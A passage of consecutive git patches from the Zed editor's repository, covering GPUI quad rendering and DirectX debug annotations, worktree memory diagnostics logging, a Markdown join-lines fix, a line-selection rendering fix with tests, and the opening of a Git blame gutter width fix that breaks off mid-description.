+        // the side strips own the straight left and right edges, while the top and bottom strips own the horizontal
+        // edges and the rounded corners.
+        let radii = &quad.corner_radii;
+        let widths = &quad.border_widths;
+
+        let antialias_slack = point(ScaledPixels(1.0), ScaledPixels(1.0));
+        let top_left_inset = point(
+            widths.left,
+            widths.top.max(radii.top_left).max(radii.top_right),
+        ) + antialias_slack;
+        let bottom_right_inset = point(
+            widths.right,
+            widths.bottom.max(radii.bottom_left).max(radii.bottom_right),
+        ) + antialias_slack;
+
+        let outer_bounds = quad.bounds;
+        let inner_bounds = Bounds::from_corners(
+            outer_bounds.origin + top_left_inset,
+            outer_bounds.bottom_right() - bottom_right_inset,
+        );
+
+        if inner_bounds.is_empty() {
+            self.next_frame.scene.insert_primitive(quad);
+            return;
+        }
+
+        let strips = [
+            // Top
+            Bounds::from_corners(
+                outer_bounds.origin,
+                point(outer_bounds.right(), inner_bounds.top()),
+            ),
+            // Bottom
+            Bounds::from_corners(
+                point(outer_bounds.left(), inner_bounds.bottom()),
+                outer_bounds.bottom_right(),
+            ),
+            // Left
+            Bounds::from_corners(
+                point(outer_bounds.left(), inner_bounds.top()),
+                inner_bounds.bottom_left(),
+            ),
+            // Right
+            Bounds::from_corners(
+                inner_bounds.top_right(),
+                point(outer_bounds.right(), inner_bounds.bottom()),
+            ),
+        ];
+
+        for strip in strips {
+            let content_mask_bounds = quad.content_mask.bounds.intersect(&strip);
+            if !content_mask_bounds.is_empty() {
+                self.next_frame.scene.insert_primitive(Quad {
+                    content_mask: ContentMask {
+                        bounds: content_mask_bounds,
+                    },
+                    ..quad
+                });
+            }
+        }
     }
 
     /// Paint the given `Path` into the scene for the next frame at the current z-index.
diff --git a/crates/gpui_windows/src/directx_renderer.rs b/crates/gpui_windows/src/directx_renderer.rs
index 03666241e674d5..8a350682e239a7 100644
--- a/crates/gpui_windows/src/directx_renderer.rs
+++ b/crates/gpui_windows/src/directx_renderer.rs
@@ -16,7 +16,7 @@ use windows::{
             Dxgi::{Common::*, *},
         },
     },
-    core::Interface,
+    core::{HSTRING, Interface},
 };
 
 use crate::directx_renderer::shader_resources::{RawShaderBytes, ShaderModule, ShaderTarget};
@@ -63,6 +63,7 @@ pub(crate) struct DirectXRendererDevices {
     pub(crate) device: ID3D11Device,
     pub(crate) device_context: ID3D11DeviceContext,
     dxgi_device: Option<IDXGIDevice>,
+    annotation: Option<ID3DUserDefinedAnnotation>,
 }
 
 struct DirectXResources {
@@ -97,6 +98,21 @@ struct DirectXGlobalElements {
     sampler: Option<ID3D11SamplerState>,
 }
 
+struct Annotation<'a>(&'a ID3DUserDefinedAnnotation);
+
+impl<'a> Annotation<'a> {
+    fn new(annotation: &'a ID3DUserDefinedAnnotation, label: HSTRING) -> Self {
+        unsafe { annotation.BeginEvent(&label) };
+        Self(annotation)
+    }
+}
+
+impl Drop for Annotation<'_> {
+    fn drop(&mut self) {
+        unsafe { self.0.EndEvent() };
+    }
+}
+
 struct DirectComposition {
     comp_device: IDCompositionDevice,
     comp_target: IDCompositionTarget,
@@ -119,6 +135,7 @@ impl DirectXRendererDevices {
         } else {
             Some(device.cast().context("Creating DXGI device")?)
         };
+        let annotation = device_context.cast().ok();
 
         Ok(Self {
             adapter: adapter.clone(),
@@ -126,6 +143,7 @@ impl DirectXRendererDevices {
             device: device.clone(),
             device_context: device_context.clone(),
             dxgi_device,
+            annotation,
         })
     }
 }
@@ -318,7 +336,15 @@ impl DirectXRenderer {
 
         self.upload_scene_buffers(scene)?;
 
+        let annotation = self
+            .devices
+            .as_ref()
+            .and_then(|devices| devices.annotation.clone())
+            .filter(|annotation| unsafe { annotation.GetStatus().as_bool() });
         for batch in scene.batches() {
+            let _annotation = annotation
+                .as_ref()
+                .map(|annotation| Annotation::new(annotation, HSTRING::from(batch.label())));
             match batch {
                 PrimitiveBatch::Shadows(range) => self.draw_shadows(range.start, range.len()),
                 PrimitiveBatch::Quads(range) => self.draw_quads(range.start, range.len()),
@@ -339,18 +365,20 @@ impl DirectXRenderer {
                 }
                 PrimitiveBatch::Surfaces(range) => self.draw_surfaces(&scene.surfaces[range]),
             }
-            .context(format!(
-                "scene too large:\
-                {} paths, {} shadows, {} quads, {} underlines, {} mono, {} subpixel, {} poly, {} surfaces",
-                scene.paths.len(),
-                scene.shadows.len(),
-                scene.quads.len(),
-                scene.underlines.len(),
-                scene.monochrome_sprites.len(),
-                scene.subpixel_sprites.len(),
-                scene.polychrome_sprites.len(),
-                scene.surfaces.len(),
-            ))?;
+            .with_context(|| {
+                format!(
+                    "scene too large:\
+                    {} paths, {} shadows, {} quads, {} underlines, {} mono, {} subpixel, {} poly, {} surfaces",
+                    scene.paths.len(),
+                    scene.shadows.len(),
+                    scene.quads.len(),
+                    scene.underlines.len(),
+                    scene.monochrome_sprites.len(),
+                    scene.subpixel_sprites.len(),
+                    scene.polychrome_sprites.len(),
+                    scene.surfaces.len(),
+                )
+            })?;
         }
         self.present()
     }

From f14fea9bf3c93797d5161f7440ed418655bc6c57 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Sun, 19 Jul 2026 14:46:31 +0200
Subject: [PATCH 540/772] zed: Log worktree info when memory jumps unexpectedly
 (#61283)

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/project/src/worktree_store.rs | 73 +++++++++++++++++++++
 crates/zed/src/main.rs               |  2 +-
 crates/zed/src/reliability.rs        | 95 ++++++++++++++++++++++++++--
 3 files changed, 164 insertions(+), 6 deletions(-)

diff --git a/crates/project/src/worktree_store.rs b/crates/project/src/worktree_store.rs
index 3fcadabd4baf80..375dde99120afa 100644
--- a/crates/project/src/worktree_store.rs
+++ b/crates/project/src/worktree_store.rs
@@ -182,6 +182,28 @@ impl WorktreeIdCounter {
 
 impl Global for WorktreeIdCounter {}
 
+/// Summarizes worktree ownership and current snapshot sizes.
+#[derive(Debug, Default)]
+pub struct WorktreeStoreDiagnostics {
+    pub worktree_slots: usize,
+    pub live_worktrees: usize,
+    pub visible_worktrees: usize,
+    pub strong_handles: usize,
+    pub dead_weak_handles: usize,
+    pub loading_worktrees: usize,
+    pub total_entries: usize,
+    pub visible_entries: usize,
+    pub largest_worktree: Option<LargestWorktreeDiagnostics>,
+}
+
+/// Identifies the worktree with the largest current snapshot.
+#[derive(Debug)]
+pub struct LargestWorktreeDiagnostics {
+    pub path: PathBuf,
+    pub entries: usize,
+    pub visible_entries: usize,
+}
+
 pub struct WorktreeStore {
     next_entry_id: Arc<AtomicUsize>,
     next_worktree_id: WorktreeIdCounter,
@@ -348,6 +370,57 @@ impl WorktreeStore {
         .detach();
     }
 
+    /// Returns worktree ownership and current snapshot size diagnostics.
+    pub fn diagnostics(&self, cx: &App) -> WorktreeStoreDiagnostics {
+        let mut diagnostics = WorktreeStoreDiagnostics {
+            worktree_slots: self.worktrees.len(),
+            loading_worktrees: self.loading_worktrees.len(),
+            ..WorktreeStoreDiagnostics::default()
+        };
+
+        for handle in &self.worktrees {
+            let worktree = match handle {
+                WorktreeHandle::Strong(worktree) => {
+                    diagnostics.strong_handles += 1;
+                    Some(worktree.clone())
+                }
+                WorktreeHandle::Weak(worktree) => {
+                    let worktree = worktree.upgrade();
+                    if worktree.is_none() {
+                        diagnostics.dead_weak_handles += 1;
+                    }
+                    worktree
+                }
+            };
+            let Some(worktree) = worktree else {
+                continue;
+            };
+
+            diagnostics.live_worktrees += 1;
+            let worktree = worktree.read(cx);
+            diagnostics.visible_worktrees += usize::from(worktree.is_visible());
+            let snapshot = worktree.snapshot();
+            let entries = snapshot.entry_count();
+            let visible_entries = snapshot.visible_entry_count();
+            diagnostics.total_entries += entries;
+            diagnostics.visible_entries += visible_entries;
+
+            let is_largest = diagnostics
+                .largest_worktree
+                .as_ref()
+                .is_none_or(|largest| entries > largest.entries);
+            if is_largest {
+                diagnostics.largest_worktree = Some(LargestWorktreeDiagnostics {
+                    path: worktree.abs_path().to_path_buf(),
+                    entries,
+                    visible_entries,
+                });
+            }
+        }
+
+        diagnostics
+    }
+
     /// Iterates through all worktrees, including ones that don't appear in the project panel
     pub fn worktrees(&self) -> impl '_ + DoubleEndedIterator<Item = Entity<Worktree>> {
         self.worktrees
diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs
index eb933cc16e62b5..f640d204a656cf 100644
--- a/crates/zed/src/main.rs
+++ b/crates/zed/src/main.rs
@@ -659,7 +659,7 @@ fn main() {
         auto_update::init(client.clone(), cx);
         dap_adapters::init(cx);
         auto_update_ui::init(cx);
-        reliability::init(client.clone(), cx);
+        reliability::init(client.clone(), app_state.workspace_store.clone(), cx);
         extension_host::init(
             extension_host_proxy.clone(),
             app_state.fs.clone(),
diff --git a/crates/zed/src/reliability.rs b/crates/zed/src/reliability.rs
index 00917069d2006d..3ad758f0ae2434 100644
--- a/crates/zed/src/reliability.rs
+++ b/crates/zed/src/reliability.rs
@@ -2,9 +2,9 @@ use anyhow::{Context as _, Result};
 use client::{Client, telemetry::MINIDUMP_ENDPOINT};
 use feature_flags::FeatureFlagAppExt;
 use futures::{AsyncReadExt, TryStreamExt};
-use gpui::{App, AppContext, TaskExt};
+use gpui::{App, AppContext, Entity, TaskExt};
 use http_client::{AsyncBody, HttpClient, Request};
-use project::Project;
+use project::{Project, worktree_store::WorktreeStoreDiagnostics};
 use proto::{CrashReport, GetCrashFilesResponse};
 use reqwest::{
     Method,
@@ -13,6 +13,7 @@ use reqwest::{
 use serde::Deserialize;
 use smol::stream::StreamExt;
 use std::{
+    collections::HashSet,
     ffi::OsStr,
     fs,
     sync::Arc,
@@ -20,12 +21,13 @@ use std::{
 };
 use sysinfo::{MemoryRefreshKind, ProcessRefreshKind, ProcessesToUpdate, RefreshKind, System};
 use util::ResultExt;
+use workspace::WorkspaceStore;
 
 mod hang_detection;
 
-pub fn init(client: Arc<Client>, cx: &mut App) {
+pub fn init(client: Arc<Client>, workspace_store: Entity<WorkspaceStore>, cx: &mut App) {
     hang_detection::start(client.clone(), cx);
-    start_memory_usage_logging(cx);
+    start_memory_usage_logging(workspace_store, cx);
 
     cx.on_flags_ready({
         let client = client.clone();
@@ -97,7 +99,15 @@ const MEMORY_USAGE_MINIMUM_LOGGED_DELTA: u64 = 64 * 1024 * 1024;
 /// Logs on a fixed heartbeat, and additionally whenever resident memory changed
 /// significantly since the last logged value, so that bursts of growth are timestamped
 /// against the surrounding log entries.
-fn start_memory_usage_logging(cx: &App) {
+fn start_memory_usage_logging(workspace_store: Entity<WorkspaceStore>, cx: &App) {
+    let (diagnostics_sender, mut diagnostics_receiver) = futures::channel::mpsc::unbounded();
+    cx.spawn(async move |cx| {
+        while diagnostics_receiver.next().await.is_some() {
+            cx.update(|cx| log_worktree_diagnostics(&workspace_store, cx));
+        }
+    })
+    .detach();
+
     let executor = cx.background_executor().clone();
     cx.background_spawn(async move {
         let Some(pid) = sysinfo::get_current_pid().log_err() else {
@@ -134,6 +144,9 @@ fn start_memory_usage_logging(cx: &App) {
                         resident / MIB,
                         process.virtual_memory() / MIB,
                     );
+                    if diagnostics_sender.unbounded_send(()).is_err() {
+                        return;
+                    }
                     last_logged_resident = Some(resident);
                     last_logged_at = Instant::now();
                 }
@@ -144,6 +157,78 @@ fn start_memory_usage_logging(cx: &App) {
     .detach();
 }
 
+fn log_worktree_diagnostics(workspace_store: &Entity<WorkspaceStore>, cx: &App) {
+    let workspaces = workspace_store
+        .read(cx)
+        .workspaces()
+        .filter_map(|workspace| workspace.upgrade())
+        .collect::<Vec<_>>();
+    let mut worktree_store_ids = HashSet::new();
+    let mut store_count = 0;
+    let mut aggregate = WorktreeStoreDiagnostics::default();
+
+    for workspace in workspaces {
+        let project = workspace.read(cx).project().clone();
+        let worktree_store = project.read(cx).worktree_store();
+        if !worktree_store_ids.insert(worktree_store.entity_id()) {
+            continue;
+        }
+        store_count += 1;
+
+        let WorktreeStoreDiagnostics {
+            worktree_slots,
+            live_worktrees,
+            visible_worktrees,
+            strong_handles,
+            dead_weak_handles,
+            loading_worktrees,
+            total_entries,
+            visible_entries,
+            largest_worktree,
+        } = worktree_store.read(cx).diagnostics(cx);
+        aggregate.worktree_slots += worktree_slots;
+        aggregate.live_worktrees += live_worktrees;
+        aggregate.visible_worktrees += visible_worktrees;
+        aggregate.strong_handles += strong_handles;
+        aggregate.dead_weak_handles += dead_weak_handles;
+        aggregate.loading_worktrees += loading_worktrees;
+        aggregate.total_entries += total_entries;
+        aggregate.visible_entries += visible_entries;
+
+        if let Some(largest_worktree) = largest_worktree
+            && aggregate
+                .largest_worktree
+                .as_ref()
+                .is_none_or(|largest| largest_worktree.entries > largest.entries)
+        {
+            aggregate.largest_worktree = Some(largest_worktree);
+        }
+    }
+
+    let WorktreeStoreDiagnostics {
+        worktree_slots,
+        live_worktrees,
+        visible_worktrees,
+        strong_handles,
+        dead_weak_handles,
+        loading_worktrees,
+        total_entries,
+        visible_entries,
+        largest_worktree,
+    } = aggregate;
+    match largest_worktree {
+        Some(largest_worktree) => log::info!(
+            "worktree diagnostics: stores {store_count}, slots {worktree_slots}, live {live_worktrees}, visible {visible_worktrees}, strong {strong_handles}, dead weak {dead_weak_handles}, loading {loading_worktrees}, entries {total_entries}, visible entries {visible_entries}, largest {} ({} entries, {} visible)",
+            largest_worktree.path.display(),
+            largest_worktree.entries,
+            largest_worktree.visible_entries,
+        ),
+        None => log::info!(
+            "worktree diagnostics: stores {store_count}, slots {worktree_slots}, live {live_worktrees}, visible {visible_worktrees}, strong {strong_handles}, dead weak {dead_weak_handles}, loading {loading_worktrees}, entries {total_entries}, visible entries {visible_entries}, largest none",
+        ),
+    }
+}
+
 pub async fn upload_previous_minidumps(client: Arc<Client>) -> anyhow::Result<()> {
     let Some(minidump_endpoint) = MINIDUMP_ENDPOINT.as_ref() else {
         log::warn!("Minidump endpoint not set");

From 9ca3f21adabaab93cb75a99ef2e8c3b3840c49e7 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Mon, 20 Jul 2026 10:03:51 +0800
Subject: [PATCH 541/772] Preserve Markdown emphasis delimiters when joining
 lines (#61298)

# Objective

When joining lines, Zed checks the next line and strips comment,
documentation-comment, and unordered-list delimiters. The logic trims
whitespace from these delimiters, then checks whether the next line
starts with the trimmed delimiter. If it does, Zed removes the delimiter
before joining the lines.

This works for comment and documentation-comment delimiters, where
trailing whitespace does not affect their meaning. However, it causes
unexpected behavior for unordered-list delimiters, which, as far as I
know, are unique to Markdown.

In Markdown, `* ` is an unordered-list marker, while `*` is also used as
an emphasis delimiter, such as `*italics*` and `**bold**`. The current
logic strips the leading `*` from these emphasis cases, which it should
not.

## Solution

For unordered-list delimiters, Zed should strip the exact delimiter,
such as `* `, rather than the trimmed `*`. It should strip a bare `*`
only when the next line contains only `*`.

## Testing

Tested locally and new GPUI tests were added.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed markdown emphasis delimiters being removed when joining lines.
---
 crates/editor/src/editor.rs       | 32 +++++++++++++++++++++----------
 crates/editor/src/editor_tests.rs | 18 +++++++++++++++++
 2 files changed, 40 insertions(+), 10 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 8cbbba449e8064..276c083dd158eb 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -5552,24 +5552,36 @@ impl Editor {
                                 .documentation_comment()
                                 .map(|c| c.prefix.as_ref())
                                 .filter(|p| !p.is_empty());
-                            let all_prefixes = language_scope
+                            let comment_prefixes = language_scope
                                 .line_comment_prefixes()
                                 .iter()
                                 .map(|p| p.as_ref())
                                 .chain(block_prefix)
                                 .chain(doc_prefix)
-                                .chain(language_scope.unordered_list().iter().map(|p| p.as_ref()));
+                                .map(|prefix| (prefix, false));
+                            let all_prefixes = comment_prefixes.chain(
+                                language_scope
+                                    .unordered_list()
+                                    .iter()
+                                    .map(|prefix| (prefix.as_ref(), true)),
+                            );
 
                             let mut longest_prefix_len = None;
-                            for prefix in all_prefixes {
+                            for (prefix, is_unordered_list) in all_prefixes {
                                 let trimmed = prefix.trim_end();
-                                if line_text_after_indent.starts_with(trimmed) {
-                                    let candidate_len =
-                                        if line_text_after_indent.starts_with(prefix) {
-                                            prefix.len()
-                                        } else {
-                                            trimmed.len()
-                                        };
+                                let matches_full_prefix =
+                                    line_text_after_indent.starts_with(prefix);
+                                let nextline_is_bare_prefix = line_text_after_indent == trimmed;
+                                if matches_full_prefix
+                                    || (!is_unordered_list
+                                        && line_text_after_indent.starts_with(trimmed))
+                                    || nextline_is_bare_prefix
+                                {
+                                    let candidate_len = if matches_full_prefix {
+                                        prefix.len()
+                                    } else {
+                                        trimmed.len()
+                                    };
                                     if longest_prefix_len.map_or(true, |len| candidate_len > len) {
                                         longest_prefix_len = Some(candidate_len);
                                     }
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 318495c07b3b26..015e8b5b43c424 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -6681,6 +6681,24 @@ async fn test_join_lines_strips_comment_prefix(cx: &mut TestAppContext) {
             + fooˇ bar
         "});
 
+        cx.set_state(indoc! {"
+            fooˇ
+            *bar*
+        "});
+        cx.update_editor(|e, window, cx| e.join_lines(&JoinLines, window, cx));
+        cx.assert_editor_state(indoc! {"
+            fooˇ *bar*
+        "});
+
+        cx.set_state(indoc! {"
+            * ˇfoo
+            *
+        "});
+        cx.update_editor(|e, window, cx| e.join_lines(&JoinLines, window, cx));
+        cx.assert_editor_state(indoc! {"
+            * fooˇ
+        "});
+
         // No-whitespace join also strips the list marker.
         cx.set_state(indoc! {"
             - ˇfoo

From bc61a30181aadd6b0d32181a611ce39ebad60117 Mon Sep 17 00:00:00 2001
From: Finn Eitreim <48069764+feitreim@users.noreply.github.com>
Date: Sun, 19 Jul 2026 22:07:59 -0400
Subject: [PATCH 542/772] editor: Fix line selection disappears when the cursor
 goes off screen (#60054)

# Objective

When you make a line selection in a row that is long enough to multiple
lines long while wrapped the selection box will disappear when the
cursor (or just origin of the line selection goes off screen).


## Solution

The when you are in line selection mode the `SelectionsCollection` just
enables `line_mode`, instead of storing the whole ranges of those line
selections, so the Anchor of the selection is a single point.
`disjoint_in_range` filters all the disjoint selections of the
collection to fit inside some range, this is used to render the
selection boxes on screen. `disjoint_in_range` had no special case for
`line_mode` causing it to filter on the point instead of the bounds of
the selection.

My fix is too add a case for `line_mode` that changes the filtering
`Anchor` -> `Point` and then only filters on the row. Then use the
proper bounds of the selection with that:
```rust
        let (start_ix, end_ix) = if self.line_mode {
            let start_row = range.start.to_point(buffer).row;
            let end_row = range.end.to_point(buffer).row;
            let start_ix = self
                .disjoint
                .partition_point(|probe| probe.end.to_point(buffer).row < start_row);
            let end_ix = self
                .disjoint
                .partition_point(|probe| probe.start.to_point(buffer).row <= end_row);
            (start_ix, end_ix)
        } else {
        ...
```

## Testing

Before:


https://github.com/user-attachments/assets/a443de39-53d7-4ee4-b3af-d3be99ca1fcf

After:


https://github.com/user-attachments/assets/18c1c7ef-45cc-4dc8-9a8b-241252c376ab

I also added some tests `disjoint_in_range_line_mode_matches_whole_row`,
being the one that really tests this behavior. the other two are just
for `disjoint_in_range`

I am using macOS 27.0 Beta (26A5368g), but I noticed this bug before
upgrading.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- editor: Fixed bug where selection boxes wouldn't render when the
cursor was offscreen.
---
 crates/editor/src/element.rs               |   2 +-
 crates/editor/src/selections_collection.rs | 157 +++++++++++++++++++--
 2 files changed, 146 insertions(+), 13 deletions(-)

diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 71e9a50087a797..6def466e8447b6 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -8353,7 +8353,7 @@ impl Element for EditorElement {
                                     selected_buffer_ids
                                 };
 
-                                let mut selections = editor.selections.disjoint_in_range(
+                                let mut selections = editor.selections.disjoint_in_row_range(
                                     start_anchor..end_anchor,
                                     &snapshot.display_snapshot,
                                 );
diff --git a/crates/editor/src/selections_collection.rs b/crates/editor/src/selections_collection.rs
index 53303db81fcf52..0e2a607a445369 100644
--- a/crates/editor/src/selections_collection.rs
+++ b/crates/editor/src/selections_collection.rs
@@ -7,7 +7,7 @@ use std::{
 use gpui::Pixels;
 use itertools::{Either, Itertools as _};
 use language::{Bias, Point, PointUtf16, Selection, SelectionGoal};
-use multi_buffer::{MultiBufferDimension, MultiBufferOffset};
+use multi_buffer::{MultiBufferDimension, MultiBufferOffset, ToPoint};
 use util::post_inc;
 
 use crate::{
@@ -212,6 +212,26 @@ impl SelectionsCollection {
         }
     }
 
+    pub fn disjoint_in_row_range<D>(
+        &self,
+        range: Range<Anchor>,
+        snapshot: &DisplaySnapshot,
+    ) -> Vec<Selection<D>>
+    where
+        D: MultiBufferDimension + Sub + AddAssign<<D as Sub>::Output> + Ord + std::fmt::Debug,
+    {
+        let buffer = snapshot.buffer_snapshot();
+        let start_row = range.start.to_point(buffer).row;
+        let end_row = range.end.to_point(buffer).row;
+        let start_ix = self
+            .disjoint
+            .partition_point(|probe| probe.end.to_point(buffer).row < start_row);
+        let end_ix = self
+            .disjoint
+            .partition_point(|probe| probe.start.to_point(buffer).row <= end_row);
+        resolve_selections_wrapping_blocks(&self.disjoint[start_ix..end_ix], snapshot).collect()
+    }
+
     pub fn disjoint_in_range<D>(
         &self,
         range: Range<Anchor>,
@@ -220,19 +240,13 @@ impl SelectionsCollection {
     where
         D: MultiBufferDimension + Sub + AddAssign<<D as Sub>::Output> + Ord + std::fmt::Debug,
     {
-        let start_ix = match self
+        let buffer = snapshot.buffer_snapshot();
+        let start_ix = self
             .disjoint
-            .binary_search_by(|probe| probe.end.cmp(&range.start, snapshot.buffer_snapshot()))
-        {
-            Ok(ix) | Err(ix) => ix,
-        };
-        let end_ix = match self
+            .partition_point(|probe| probe.end.cmp(&range.start, buffer).is_lt());
+        let end_ix = self
             .disjoint
-            .binary_search_by(|probe| probe.start.cmp(&range.end, snapshot.buffer_snapshot()))
-        {
-            Ok(ix) => ix + 1,
-            Err(ix) => ix,
-        };
+            .partition_point(|probe| probe.start.cmp(&range.end, buffer).is_le());
         resolve_selections_wrapping_blocks(&self.disjoint[start_ix..end_ix], snapshot).collect()
     }
 
@@ -1352,6 +1366,125 @@ mod tests {
     use settings::SettingsStore;
     use std::sync::Arc;
 
+    fn row_range_snapshot(cx: &mut gpui::TestAppContext, text: &str) -> DisplaySnapshot {
+        cx.update(|cx| {
+            let settings = SettingsStore::test(cx);
+            cx.set_global(settings);
+            crate::init(cx);
+        });
+        let buffer = cx.update(|cx| MultiBuffer::build_simple(text, cx));
+        let display_map = cx.new(|cx| {
+            DisplayMap::new(
+                buffer,
+                test_font(),
+                px(14.),
+                None,
+                1,
+                1,
+                FoldPlaceholder::test(),
+                DiagnosticSeverity::Warning,
+                cx,
+            )
+        });
+        display_map.update(cx, |map, cx| map.snapshot(cx))
+    }
+
+    fn row_range_collection(
+        offset_ranges: impl IntoIterator<Item = Range<usize>>,
+        buffer_snapshot: &MultiBufferSnapshot,
+    ) -> SelectionsCollection {
+        let selections = offset_ranges
+            .into_iter()
+            .enumerate()
+            .map(|(id, range)| {
+                selection_to_anchor_selection(
+                    Selection {
+                        id,
+                        start: MultiBufferOffset(range.start),
+                        end: MultiBufferOffset(range.end),
+                        reversed: false,
+                        goal: SelectionGoal::None,
+                    },
+                    buffer_snapshot,
+                )
+            })
+            .collect::<Vec<_>>();
+        let mut collection = SelectionsCollection::new();
+        collection.disjoint = Arc::from(selections);
+        collection.pending = None;
+        collection
+    }
+
+    /// `disjoint_in_row_range` selects by whole rows, so a selection sharing a queried row must be
+    /// returned even when its columns don't overlap the queried range. `disjoint_in_range` compares
+    /// exact offsets and would miss this case.
+    #[gpui::test]
+    fn disjoint_in_row_range_matches_whole_row(cx: &mut gpui::TestAppContext) {
+        let snapshot = row_range_snapshot(cx, "aaaa\nbbbbbbbb\ncccc");
+        let buffer_snapshot = snapshot.buffer_snapshot();
+
+        // A selection on row 1 spanning columns 3..5 (buffer offsets 8..10).
+        let collection = row_range_collection([8..10], buffer_snapshot);
+
+        // Query row 1 at columns 0..1, entirely before the selection's columns.
+        let range = buffer_snapshot.anchor_before(MultiBufferOffset(5))
+            ..buffer_snapshot.anchor_before(MultiBufferOffset(6));
+        let result = collection.disjoint_in_row_range::<Point>(range, &snapshot);
+
+        assert_eq!(
+            result.len(),
+            1,
+            "row range should include the selection sharing the queried row"
+        );
+        assert_eq!(result[0].start, Point::new(1, 3));
+        assert_eq!(result[0].end, Point::new(1, 5));
+    }
+
+    /// A selection on a row outside the queried row range must not be returned. This guards the
+    /// row-overlap boundary against becoming over-inclusive.
+    #[gpui::test]
+    fn disjoint_in_row_range_excludes_other_rows(cx: &mut gpui::TestAppContext) {
+        let snapshot = row_range_snapshot(cx, "aaaa\nbbbbbbbb\ncccc");
+        let buffer_snapshot = snapshot.buffer_snapshot();
+
+        // A selection on row 2 (buffer offsets 14..16).
+        let collection = row_range_collection([14..16], buffer_snapshot);
+
+        // Query only row 0, two rows away from the selection.
+        let range = buffer_snapshot.anchor_before(MultiBufferOffset(0))
+            ..buffer_snapshot.anchor_before(MultiBufferOffset(1));
+        let result = collection.disjoint_in_row_range::<Point>(range, &snapshot);
+
+        assert!(
+            result.is_empty(),
+            "row range should exclude a selection on a non-queried row"
+        );
+    }
+
+    /// A selection spanning multiple rows must be returned when the query touches any of those rows,
+    /// not just when the query shares the selection's start or end row.
+    #[gpui::test]
+    fn disjoint_in_row_range_matches_interior_row(cx: &mut gpui::TestAppContext) {
+        let snapshot = row_range_snapshot(cx, "aaaa\nbbbb\ncccc\ndddd");
+        let buffer_snapshot = snapshot.buffer_snapshot();
+
+        // A selection spanning row 1 column 1 through row 3 column 2 (buffer offsets 6..17).
+        let collection = row_range_collection([6..17], buffer_snapshot);
+
+        // Query only row 2, an interior row of the selection.
+        let range = buffer_snapshot.anchor_before(MultiBufferOffset(11))
+            ..buffer_snapshot.anchor_before(MultiBufferOffset(12));
+        let result = collection.disjoint_in_row_range::<Point>(range, &snapshot);
+
+        assert_eq!(
+            result.len(),
+            1,
+            "row range should include a selection whose interior row is queried"
+        );
+        assert_eq!(result[0].start, Point::new(1, 1));
+        assert_eq!(result[0].end, Point::new(3, 2));
+    }
+
     #[gpui::test(iterations = 20)]
     fn fast_and_slow_selection_resolution_match_without_collapsed_content(
         cx: &mut gpui::TestAppContext,

From 1f99101eb0b9f57d4c2dd9fcbadc36fd30c1a7f5 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Mon, 20 Jul 2026 10:50:00 +0800
Subject: [PATCH 543/772] editor: Fix Git blame gutter width with avatars
 (#61287)

# Objective

When using column Git blame with avatars enabled, blame entries whose
author name is the longest in the buffer can exceed the blame border.

For example, line 10 of `crates/vim/src/visual.rs` is displayed as
follows:

<img width="998" height="121" alt="issue"
src="https://github.com/user-attachments/assets/eff3e1ff-bd1c-42af-ae9b-da8efb0a7c22"
/>

The blame contents exceeds the width.

The root cause is in the blame width calculation:

https://github.com/zed-industries/zed/blob/0c51c7fd2481859e9da5c490ef8e41ddbcf1a341/crates/editor/src/editor.rs#L11583-L11598
The calculation accounts for the commit SHA, author name, and timestamp.
Other elements, including spacing, margins, and the avatar, are
represented by the fixed `SPACING_WIDTH` constant.

For typical fonts, `ch_advance` is approximately `0.5rem` to `0.6rem`,
so `SPACING_WIDTH` provides approximately `2rem` to `2.4rem` for
non-text content. However, the avatar itself occupies `1rem`:

https://github.com/zed-industries/zed/blob/0c51c7fd2481859e9da5c490ef8e41ddbcf1a341/crates/ui/src/components/avatar.rs#L81
When avatars are displayed, the entry also contains three `0.5rem` gaps
and also one `0.5rem` right margin:

https://github.com/zed-industries/zed/blob/0c51c7fd2481859e9da5c490ef8e41ddbcf1a341/crates/git_ui/src/blame_ui.rs#L170-L188

This requires approximately `3.0rem`, which can exceed the space
provided by `SPACING_WIDTH`. When an entry contains both the longest
author name in the buffer and a long timestamp, its content can
therefore exceed the blame border.

## Solution

The simplest fix would be to increase `SPACING_WIDTH`, but that would
still rely on an approximate conversion between editor character widths
and UI dimensions.

Instead, this PR adds a method to the blame renderer for calculating the
non-text width of a blame entry. The editor uses this value together
with the measured text width when calculating the final blame width.

## Testing

Tested locally. A before-and-after comparison is included below.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

| Before | After |
